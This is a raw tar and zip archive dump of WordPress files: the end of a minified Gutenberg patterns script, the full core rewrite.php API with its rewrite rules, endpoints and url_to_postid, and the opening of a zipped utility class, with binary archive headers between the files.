e=(0,j.sprintf)((0,j.__)('Block name changed to: "%s".'),a);(0,G.speak)(e,"assertive")}r(a),n()})()},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"6",children:[(0,P.jsx)(S.__experimentalText,{id:o,children:(0,j.__)("Overrides are changes you make to a block within a synced pattern instance. Use overrides to customize a synced pattern instance to suit its new context. Name this block to specify an override.")}),(0,P.jsx)(S.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:a,label:(0,j.__)("Name"),help:(0,j.__)('For example, if you are creating a recipe pattern, you use "Recipe Title", "Recipe Description", etc.'),placeholder:e,onChange:s}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:n,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,"aria-disabled":!i,variant:"primary",type:"submit",children:(0,j.__)("Enable")})]})]})})})}function J({onClose:e,onSave:t}){const n=(0,C.useId)();return(0,P.jsx)(S.Modal,{title:(0,j.__)("Disable overrides"),onRequestClose:e,aria:{describedby:n},size:"small",children:(0,P.jsx)("form",{onSubmit:n=>{n.preventDefault(),t(),e()},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"6",children:[(0,P.jsx)(S.__experimentalText,{id:n,children:(0,j.__)("Are you sure you want to disable overrides? Disabling overrides will revert all applied overrides for this block throughout instances of this pattern.")}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:e,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,j.__)("Disable")})]})]})})})}const Q=function({attributes:e,setAttributes:t,name:n}){const r=(0,C.useId)(),[a,s]=(0,C.useState)(!1),[o,i]=(0,C.useState)(!1),l=!!e.metadata?.name,u=e.metadata?.bindings?.__default,d=l&&u?.source===_,p=u?.source&&u.source!==_,{updateBlockBindings:m}=(0,c.useBlockBindingsUtils)();function g(n,r){r&&t({metadata:{...e.metadata,name:r}}),m({__default:n?{source:_}:void 0})}if(p)return null;const h=!("core/image"!==n||!e.caption?.length&&!e.href?.length),y=!d&&h?(0,j.__)("Overrides currently don't support image captions or links. Remove the caption or link first before enabling overrides."):(0,j.__)("Allow changes to this block throughout instances of this pattern.");return(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(c.InspectorControls,{group:"advanced",children:(0,P.jsx)(S.BaseControl,{__nextHasNoMarginBottom:!0,id:r,label:(0,j.__)("Overrides"),help:y,children:(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,className:"pattern-overrides-control__allow-overrides-button",variant:"secondary","aria-haspopup":"dialog",onClick:()=>{d?i(!0):s(!0)},disabled:!d&&h,accessibleWhenDisabled:!0,children:d?(0,j.__)("Disable overrides"):(0,j.__)("Enable overrides")})})}),a&&(0,P.jsx)(Y,{initialName:e.metadata?.name,onClose:()=>s(!1),onSave:e=>{g(!0,e)}}),o&&(0,P.jsx)(J,{onClose:()=>i(!1),onSave:()=>g(!1)})]})},W="content";const Z=(0,P.jsx)(U.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,P.jsx)(U.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z"})}),{useBlockDisplayTitle:$}=v(c.privateApis);function X({clientIds:e}){const t=1===e.length,{icon:n,firstBlockName:r}=(0,a.useSelect)((n=>{const{getBlockAttributes:r,getBlockNamesByClientId:a}=n(c.store),{getBlockType:s,getActiveBlockVariation:i}=n(o.store),l=a(e),u=l[0],d=s(u);let p;if(t){const t=i(u,r(e[0]));p=t?.icon||d.icon}else{p=1===new Set(l).size?d.icon:Z}return{icon:p,firstBlockName:r(e[0]).metadata.name}}),[e,t]),s=$({clientId:e[0],maximumLength:35}),i=t?(0,j.sprintf)((0,j.__)('This %1$s is editable using the "%2$s" override.'),s.toLowerCase(),r):(0,j.__)("These blocks are editable using overrides."),l=(0,C.useId)();return(0,P.jsx)(S.ToolbarItem,{children:e=>(0,P.jsx)(S.DropdownMenu,{className:"patterns-pattern-overrides-toolbar-indicator",label:s,popoverProps:{placement:"bottom-start",className:"patterns-pattern-overrides-toolbar-indicator__popover"},icon:(0,P.jsx)(P.Fragment,{children:(0,P.jsx)(c.BlockIcon,{icon:n,className:"patterns-pattern-overrides-toolbar-indicator-icon",showColors:!0})}),toggleProps:{description:i,...e},menuProps:{orientation:"both","aria-describedby":l},children:()=>(0,P.jsx)(S.__experimentalText,{id:l,children:i})})})}const K={};b(K,{OverridesPanel:function(){const e=(0,a.useSelect)((e=>e(c.store).getClientIdsWithDescendants()),[]),{getBlock:t}=(0,a.useSelect)(c.store),n=(0,C.useMemo)((()=>e.filter((e=>B(t(e))))),[e,t]);return n?.length?(0,P.jsx)(S.PanelBody,{title:(0,j.__)("Overrides"),children:(0,P.jsx)(T,{clientIds:n})}):null},CreatePatternModal:O,CreatePatternModalContents:A,DuplicatePatternModal:function({pattern:e,onClose:t,onSuccess:n}){const r=L({pattern:e,onSuccess:n});return e?(0,P.jsx)(O,{modalTitle:(0,j.__)("Duplicate pattern"),confirmLabel:(0,j.__)("Duplicate"),onClose:t,onError:t,...r}):null},isOverridableBlock:B,hasOverridableBlocks:function e(t){return t.some((t=>!!B(t)||e(t.innerBlocks)))},useDuplicatePatternProps:L,RenamePatternModal:function({onClose:e,onError:t,onSuccess:n,pattern:r,...s}){const o=(0,I.decodeEntities)(r.title),[c,l]=(0,C.useState)(o),[u,d]=(0,C.useState)(!1),{editEntityRecord:p,__experimentalSaveSpecifiedEntityEdits:_}=(0,a.useDispatch)(i.store),{createSuccessNotice:m,createErrorNotice:g}=(0,a.useDispatch)(E.store);return(0,P.jsx)(S.Modal,{title:(0,j.__)("Rename"),...s,onRequestClose:e,focusOnMount:"firstContentElement",size:"small",children:(0,P.jsx)("form",{onSubmit:async a=>{if(a.preventDefault(),c&&c!==r.title&&!u)try{await p("postType",r.type,r.id,{title:c}),d(!0),l(""),e?.();const t=await _("postType",r.type,r.id,["title"],{throwOnError:!0});n?.(t),m((0,j.__)("Pattern renamed"),{type:"snackbar",id:"pattern-update"})}catch(e){t?.();const n=e.message&&"unknown_error"!==e.code?e.message:(0,j.__)("An error occurred while renaming the pattern.");g(n,{type:"snackbar",id:"pattern-update"})}finally{d(!1),l("")}},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsx)(S.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,j.__)("Name"),value:c,onChange:l,required:!0}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{e?.(),l("")},children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,j.__)("Save")})]})]})})})},PatternsMenuItems:function({rootClientId:e}){return(0,P.jsx)(c.BlockSettingsMenuControls,{children:({selectedClientIds:t,onClose:n})=>(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(V,{clientIds:t,rootClientId:e,closeBlockSettingsMenu:n}),1===t.length&&(0,P.jsx)(q,{clientId:t[0]})]})})},RenamePatternCategoryModal:function({category:e,existingCategories:t,onClose:n,onError:r,onSuccess:s,...o}){const c=(0,C.useId)(),l=(0,C.useRef)(),[u,d]=(0,C.useState)((0,I.decodeEntities)(e.name)),[p,_]=(0,C.useState)(!1),[m,g]=(0,C.useState)(!1),h=m?`patterns-rename-pattern-category-modal__validation-message-${c}`:void 0,{saveEntityRecord:y,invalidateResolution:f}=(0,a.useDispatch)(i.store),{createErrorNotice:x,createSuccessNotice:b}=(0,a.useDispatch)(E.store),v=()=>{n(),d("")};return(0,P.jsx)(S.Modal,{title:(0,j.__)("Rename"),onRequestClose:v,...o,children:(0,P.jsx)("form",{onSubmit:async a=>{if(a.preventDefault(),!p){if(!u||u===e.name){const e=(0,j.__)("Please enter a new name for this category.");return(0,G.speak)(e,"assertive"),g(e),void l.current?.focus()}if(t.patternCategories.find((t=>t.id!==e.id&&t.label.toLowerCase()===u.toLowerCase()))){const e=(0,j.__)("This category already exists. Please use a different name.");return(0,G.speak)(e,"assertive"),g(e),void l.current?.focus()}try{_(!0);const t=await y("taxonomy",N,{id:e.id,slug:e.slug,name:u});f("getUserPatternCategories"),s?.(t),n(),b((0,j.__)("Pattern category renamed."),{type:"snackbar",id:"pattern-category-update"})}catch(e){r?.(),x(e.message,{type:"snackbar",id:"pattern-category-update"})}finally{_(!1),d("")}}},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsxs)(S.__experimentalVStack,{spacing:"2",children:[(0,P.jsx)(S.TextControl,{ref:l,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,j.__)("Name"),value:u,onChange:e=>{m&&g(void 0),d(e)},"aria-describedby":h,required:!0}),m&&(0,P.jsx)("span",{className:"patterns-rename-pattern-category-modal__validation-message",id:h,children:m})]}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:v,children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!u||u===e.name||p,isBusy:p,children:(0,j.__)("Save")})]})]})})})},PatternOverridesControls:Q,ResetOverridesControl:function(e){const t=e.attributes.metadata?.name,n=(0,a.useRegistry)(),r=(0,a.useSelect)((n=>{if(!t)return;const{getBlockAttributes:r,getBlockParentsByBlockName:a}=n(c.store),[s]=a(e.clientId,"core/block",!0);if(!s)return;const o=r(s)[W];return o?o.hasOwnProperty(t):void 0}),[e.clientId,t]);return(0,P.jsx)(c.__unstableBlockToolbarLastItem,{children:(0,P.jsx)(S.ToolbarGroup,{children:(0,P.jsx)(S.ToolbarButton,{onClick:function(){const{getBlockAttributes:r,getBlockParentsByBlockName:a}=n.select(c.store),[s]=a(e.clientId,"core/block",!0);if(!s)return;const o=r(s)[W];if(!o.hasOwnProperty(t))return;const{updateBlockAttributes:i,__unstableMarkLastChangeAsPersistent:l}=n.dispatch(c.store);l();let u={...o};delete u[t],Object.keys(u).length||(u=void 0),i(s,{[W]:u})},disabled:!r,children:(0,j.__)("Reset")})})})},PatternOverridesBlockControls:function(){const{clientIds:e,hasPatternOverrides:t,hasParentPattern:n}=(0,a.useSelect)((e=>{const{getBlockAttributes:t,getSelectedBlockClientIds:n,getBlockParentsByBlockName:r}=e(c.store),a=n(),s=a.every((e=>{var n;return Object.values(null!==(n=t(e)?.metadata?.bindings)&&void 0!==n?n:{}).some((e=>e?.source===_))})),o=a.every((e=>r(e,"core/block",!0).length>0));return{clientIds:a,hasPatternOverrides:s,hasParentPattern:o}}),[]);return t&&n?(0,P.jsx)(c.BlockControls,{group:"parent",children:(0,P.jsx)(X,{clientIds:e})}):null},useAddPatternCategory:M,PATTERN_TYPES:l,PATTERN_DEFAULT_CATEGORY:u,PATTERN_USER_CATEGORY:"my-patterns",EXCLUDED_PATTERN_SOURCES:["core","pattern-directory/core","pattern-directory/featured"],PATTERN_SYNC_TYPES:d,PARTIAL_SYNCING_SUPPORTED_BLOCKS:p}),(window.wp=window.wp||{}).patterns=t})();14338/rewrite.php.tar000064400000052000151024420100010167 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rewrite.php000064400000046125151024210250023546 0ustar00<?php
/**
 * WordPress Rewrite API
 *
 * @package WordPress
 * @subpackage Rewrite
 */

/**
 * Endpoint mask that matches nothing.
 *
 * @since 2.1.0
 */
define( 'EP_NONE', 0 );

/**
 * Endpoint mask that matches post permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_PERMALINK', 1 );

/**
 * Endpoint mask that matches attachment permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_ATTACHMENT', 2 );

/**
 * Endpoint mask that matches any date archives.
 *
 * @since 2.1.0
 */
define( 'EP_DATE', 4 );

/**
 * Endpoint mask that matches yearly archives.
 *
 * @since 2.1.0
 */
define( 'EP_YEAR', 8 );

/**
 * Endpoint mask that matches monthly archives.
 *
 * @since 2.1.0
 */
define( 'EP_MONTH', 16 );

/**
 * Endpoint mask that matches daily archives.
 *
 * @since 2.1.0
 */
define( 'EP_DAY', 32 );

/**
 * Endpoint mask that matches the site root.
 *
 * @since 2.1.0
 */
define( 'EP_ROOT', 64 );

/**
 * Endpoint mask that matches comment feeds.
 *
 * @since 2.1.0
 */
define( 'EP_COMMENTS', 128 );

/**
 * Endpoint mask that matches searches.
 *
 * Note that this only matches a search at a "pretty" URL such as
 * `/search/my-search-term`, not `?s=my-search-term`.
 *
 * @since 2.1.0
 */
define( 'EP_SEARCH', 256 );

/**
 * Endpoint mask that matches category archives.
 *
 * @since 2.1.0
 */
define( 'EP_CATEGORIES', 512 );

/**
 * Endpoint mask that matches tag archives.
 *
 * @since 2.3.0
 */
define( 'EP_TAGS', 1024 );

/**
 * Endpoint mask that matches author archives.
 *
 * @since 2.1.0
 */
define( 'EP_AUTHORS', 2048 );

/**
 * Endpoint mask that matches pages.
 *
 * @since 2.1.0
 */
define( 'EP_PAGES', 4096 );

/**
 * Endpoint mask that matches all archive views.
 *
 * @since 3.7.0
 */
define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );

/**
 * Endpoint mask that matches everything.
 *
 * @since 2.1.0
 */
define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );

/**
 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
 *
 * Any value in the $after parameter that isn't 'bottom' will result in the rule
 * being placed at the top of the rewrite rules.
 *
 * @since 2.1.0
 * @since 4.4.0 Array support was added to the `$query` parameter.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string       $regex Regular expression to match request against.
 * @param string|array $query The corresponding query vars for this rewrite rule.
 * @param string       $after Optional. Priority of the new rule. Accepts 'top'
 *                            or 'bottom'. Default 'bottom'.
 */
function add_rewrite_rule( $regex, $query, $after = 'bottom' ) {
	global $wp_rewrite;

	$wp_rewrite->add_rule( $regex, $query, $after );
}

/**
 * Adds a new rewrite tag (like %postname%).
 *
 * The `$query` parameter is optional. If it is omitted you must ensure that you call
 * this on, or before, the {@see 'init'} hook. This is because `$query` defaults to
 * `$tag=`, and for this to work a new query var has to be added.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $tag   Name of the new rewrite tag.
 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
 * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty.
 */
function add_rewrite_tag( $tag, $regex, $query = '' ) {
	// Validate the tag's name.
	if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) {
		return;
	}

	global $wp_rewrite, $wp;

	if ( empty( $query ) ) {
		$qv = trim( $tag, '%' );
		$wp->add_query_var( $qv );
		$query = $qv . '=';
	}

	$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
}

/**
 * Removes an existing rewrite tag (like %postname%).
 *
 * @since 4.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $tag Name of the rewrite tag.
 */
function remove_rewrite_tag( $tag ) {
	global $wp_rewrite;
	$wp_rewrite->remove_rewrite_tag( $tag );
}

/**
 * Adds a permalink structure.
 *
 * @since 3.0.0
 *
 * @see WP_Rewrite::add_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name   Name for permalink structure.
 * @param string $struct Permalink structure.
 * @param array  $args   Optional. Arguments for building the rules from the permalink structure,
 *                       see WP_Rewrite::add_permastruct() for full details. Default empty array.
 */
function add_permastruct( $name, $struct, $args = array() ) {
	global $wp_rewrite;

	// Back-compat for the old parameters: $with_front and $ep_mask.
	if ( ! is_array( $args ) ) {
		$args = array( 'with_front' => $args );
	}

	if ( func_num_args() === 4 ) {
		$args['ep_mask'] = func_get_arg( 3 );
	}

	$wp_rewrite->add_permastruct( $name, $struct, $args );
}

/**
 * Removes a permalink structure.
 *
 * Can only be used to remove permastructs that were added using add_permastruct().
 * Built-in permastructs cannot be removed.
 *
 * @since 4.5.0
 *
 * @see WP_Rewrite::remove_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name Name for permalink structure.
 */
function remove_permastruct( $name ) {
	global $wp_rewrite;

	$wp_rewrite->remove_permastruct( $name );
}

/**
 * Adds a new feed type like /atom1/.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string   $feedname Feed name. Should not start with '_'.
 * @param callable $callback Callback to run on feed display.
 * @return string Feed action name.
 */
function add_feed( $feedname, $callback ) {
	global $wp_rewrite;

	if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) {
		$wp_rewrite->feeds[] = $feedname;
	}

	$hook = 'do_feed_' . $feedname;

	// Remove default function hook.
	remove_action( $hook, $hook );

	add_action( $hook, $callback, 10, 2 );

	return $hook;
}

/**
 * Removes rewrite rules and then recreate rewrite rules.
 *
 * @since 3.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param bool $hard Whether to update .htaccess (hard flush) or just update
 *                   rewrite_rules option (soft flush). Default is true (hard).
 */
function flush_rewrite_rules( $hard = true ) {
	global $wp_rewrite;

	if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) {
		$wp_rewrite->flush_rules( $hard );
	}
}

/**
 * Adds an endpoint, like /trackback/.
 *
 * Adding an endpoint creates extra rewrite rules for each of the matching
 * places specified by the provided bitmask. For example:
 *
 *     add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
 *
 * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
 * that describes a permalink (post) or page. This is rewritten to "json=$match"
 * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
 * "[permalink]/json/foo/").
 *
 * A new query var with the same name as the endpoint will also be created.
 *
 * When specifying $places ensure that you are using the EP_* constants (or a
 * combination of them using the bitwise OR operator) as their values are not
 * guaranteed to remain static (especially `EP_ALL`).
 *
 * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets
 * activated and deactivated.
 *
 * @since 2.1.0
 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string      $name      Name of the endpoint.
 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
 *                               Accepts a mask of:
 *                               - `EP_ALL`
 *                               - `EP_NONE`
 *                               - `EP_ALL_ARCHIVES`
 *                               - `EP_ATTACHMENT`
 *                               - `EP_AUTHORS`
 *                               - `EP_CATEGORIES`
 *                               - `EP_COMMENTS`
 *                               - `EP_DATE`
 *                               - `EP_DAY`
 *                               - `EP_MONTH`
 *                               - `EP_PAGES`
 *                               - `EP_PERMALINK`
 *                               - `EP_ROOT`
 *                               - `EP_SEARCH`
 *                               - `EP_TAGS`
 *                               - `EP_YEAR`
 * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var
 *                               for this endpoint. Defaults to the value of `$name`.
 */
function add_rewrite_endpoint( $name, $places, $query_var = true ) {
	global $wp_rewrite;
	$wp_rewrite->add_endpoint( $name, $places, $query_var );
}

/**
 * Filters the URL base for taxonomies.
 *
 * To remove any manually prepended /index.php/.
 *
 * @access private
 * @since 2.6.0
 *
 * @param string $base The taxonomy base that we're going to filter
 * @return string
 */
function _wp_filter_taxonomy_base( $base ) {
	if ( ! empty( $base ) ) {
		$base = preg_replace( '|^/index\.php/|', '', $base );
		$base = trim( $base, '/' );
	}
	return $base;
}


/**
 * Resolves numeric slugs that collide with date permalinks.
 *
 * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query()
 * like a date archive, as when your permalink structure is `/%year%/%postname%/` and
 * a post with post_name '05' has the URL `/2015/05/`.
 *
 * This function detects conflicts of this type and resolves them in favor of the
 * post permalink.
 *
 * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs
 * that would result in a date archive conflict. The resolution performed in this
 * function is primarily for legacy content, as well as cases when the admin has changed
 * the site's permalink structure in a way that introduces URL conflicts.
 *
 * @since 4.3.0
 *
 * @param array $query_vars Optional. Query variables for setting up the loop, as determined in
 *                          WP::parse_request(). Default empty array.
 * @return array Returns the original array of query vars, with date/post conflicts resolved.
 */
function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) {
	if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) {
		return $query_vars;
	}

	// Identify the 'postname' position in the permastruct array.
	$permastructs   = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
	$postname_index = array_search( '%postname%', $permastructs, true );

	if ( false === $postname_index ) {
		return $query_vars;
	}

	/*
	 * A numeric slug could be confused with a year, month, or day, depending on position. To account for
	 * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our
	 * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check
	 * for month-slug clashes when `is_month` *or* `is_day`.
	 */
	$compare = '';
	if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) {
		$compare = 'year';
	} elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) {
		$compare = 'monthnum';
	} elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) {
		$compare = 'day';
	}

	if ( ! $compare ) {
		return $query_vars;
	}

	// This is the potentially clashing slug.
	$value = '';
	if ( $compare && array_key_exists( $compare, $query_vars ) ) {
		$value = $query_vars[ $compare ];
	}

	$post = get_page_by_path( $value, OBJECT, 'post' );
	if ( ! ( $post instanceof WP_Post ) ) {
		return $query_vars;
	}

	// If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
	if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) {
		// $matches[1] is the year the post was published.
		if ( (int) $query_vars['year'] !== (int) $matches[1] ) {
			return $query_vars;
		}

		// $matches[2] is the month the post was published.
		if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && (int) $query_vars['monthnum'] !== (int) $matches[2] ) {
			return $query_vars;
		}
	}

	/*
	 * If the located post contains nextpage pagination, then the URL chunk following postname may be
	 * intended as the page number. Verify that it's a valid page before resolving to it.
	 */
	$maybe_page = '';
	if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) {
		$maybe_page = $query_vars['monthnum'];
	} elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) {
		$maybe_page = $query_vars['day'];
	}
	// Bug found in #11694 - 'page' was returning '/4'.
	$maybe_page = (int) trim( $maybe_page, '/' );

	$post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1;

	// If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive.
	if ( 1 === $post_page_count && $maybe_page ) {
		return $query_vars;
	}

	// If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive.
	if ( $post_page_count > 1 && $maybe_page > $post_page_count ) {
		return $query_vars;
	}

	// If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage.
	if ( '' !== $maybe_page ) {
		$query_vars['page'] = (int) $maybe_page;
	}

	// Next, unset autodetected date-related query vars.
	unset( $query_vars['year'] );
	unset( $query_vars['monthnum'] );
	unset( $query_vars['day'] );

	// Then, set the identified post.
	$query_vars['name'] = $post->post_name;

	// Finally, return the modified query vars.
	return $query_vars;
}

/**
 * Examines a URL and try to determine the post ID it represents.
 *
 * Checks are supposedly from the hosted site blog.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $url Permalink to check.
 * @return int Post ID, or 0 on failure.
 */
function url_to_postid( $url ) {
	global $wp_rewrite;

	/**
	 * Filters the URL to derive the post ID from.
	 *
	 * @since 2.2.0
	 *
	 * @param string $url The URL to derive the post ID from.
	 */
	$url = apply_filters( 'url_to_postid', $url );

	$url_host = parse_url( $url, PHP_URL_HOST );

	if ( is_string( $url_host ) ) {
		$url_host = str_replace( 'www.', '', $url_host );
	} else {
		$url_host = '';
	}

	$home_url_host = parse_url( home_url(), PHP_URL_HOST );

	if ( is_string( $home_url_host ) ) {
		$home_url_host = str_replace( 'www.', '', $home_url_host );
	} else {
		$home_url_host = '';
	}

	// Bail early if the URL does not belong to this site.
	if ( $url_host && $url_host !== $home_url_host ) {
		return 0;
	}

	// First, check to see if there is a 'p=N' or 'page_id=N' to match against.
	if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) {
		$id = absint( $values[2] );
		if ( $id ) {
			return $id;
		}
	}

	// Get rid of the #anchor.
	$url_split = explode( '#', $url );
	$url       = $url_split[0];

	// Get rid of URL ?query=string.
	$url_split = explode( '?', $url );
	$url       = $url_split[0];

	// Set the correct URL scheme.
	$scheme = parse_url( home_url(), PHP_URL_SCHEME );
	$url    = set_url_scheme( $url, $scheme );

	// Add 'www.' if it is absent and should be there.
	if ( str_contains( home_url(), '://www.' ) && ! str_contains( $url, '://www.' ) ) {
		$url = str_replace( '://', '://www.', $url );
	}

	// Strip 'www.' if it is present and shouldn't be.
	if ( ! str_contains( home_url(), '://www.' ) ) {
		$url = str_replace( '://www.', '://', $url );
	}

	if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) {
		$page_on_front = get_option( 'page_on_front' );

		if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) {
			return (int) $page_on_front;
		}
	}

	// Check to see if we are using rewrite rules.
	$rewrite = $wp_rewrite->wp_rewrite_rules();

	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options.
	if ( empty( $rewrite ) ) {
		return 0;
	}

	// Strip 'index.php/' if we're not using path info permalinks.
	if ( ! $wp_rewrite->using_index_permalinks() ) {
		$url = str_replace( $wp_rewrite->index . '/', '', $url );
	}

	if ( str_contains( trailingslashit( $url ), home_url( '/' ) ) ) {
		// Chop off http://domain.com/[path].
		$url = str_replace( home_url(), '', $url );
	} else {
		// Chop off /path/to/blog.
		$home_path = parse_url( home_url( '/' ) );
		$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '';
		$url       = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
	}

	// Trim leading and lagging slashes.
	$url = trim( $url, '/' );

	$request              = $url;
	$post_type_query_vars = array();

	foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
		if ( ! empty( $t->query_var ) ) {
			$post_type_query_vars[ $t->query_var ] = $post_type;
		}
	}

	// Look for matches.
	$request_match = $request;
	foreach ( (array) $rewrite as $match => $query ) {

		/*
		 * If the requesting file is the anchor of the match,
		 * prepend it to the path info.
		 */
		if ( ! empty( $url ) && ( $url !== $request ) && str_starts_with( $match, $url ) ) {
			$request_match = $url . '/' . $request;
		}

		if ( preg_match( "#^$match#", $request_match, $matches ) ) {

			if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
				// This is a verbose page match, let's check to be sure about it.
				$page = get_page_by_path( $matches[ $varmatch[1] ] );
				if ( ! $page ) {
					continue;
				}

				$post_status_obj = get_post_status_object( $page->post_status );
				if ( ! $post_status_obj->public && ! $post_status_obj->protected
					&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
					continue;
				}
			}

			/*
			 * Got a match.
			 * Trim the query of everything up to the '?'.
			 */
			$query = preg_replace( '!^.+\?!', '', $query );

			// Substitute the substring matches into the query.
			$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

			// Filter out non-public query vars.
			global $wp;
			parse_str( $query, $query_vars );
			$query = array();
			foreach ( (array) $query_vars as $key => $value ) {
				if ( in_array( (string) $key, $wp->public_query_vars, true ) ) {
					$query[ $key ] = $value;
					if ( isset( $post_type_query_vars[ $key ] ) ) {
						$query['post_type'] = $post_type_query_vars[ $key ];
						$query['name']      = $value;
					}
				}
			}

			// Resolve conflicts between posts with numeric slugs and date archive queries.
			$query = wp_resolve_numeric_slug_conflicts( $query );

			// Do the query.
			$query = new WP_Query( $query );
			if ( ! empty( $query->posts ) && $query->is_singular ) {
				return $query->post->ID;
			} else {
				return 0;
			}
		}
	}
	return 0;
}
14338/Utility.zip000064400000016764151024420100007420 0ustar00PK�bd[�5L�	�	CaseInsensitiveDictionary.phpnu�[���<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
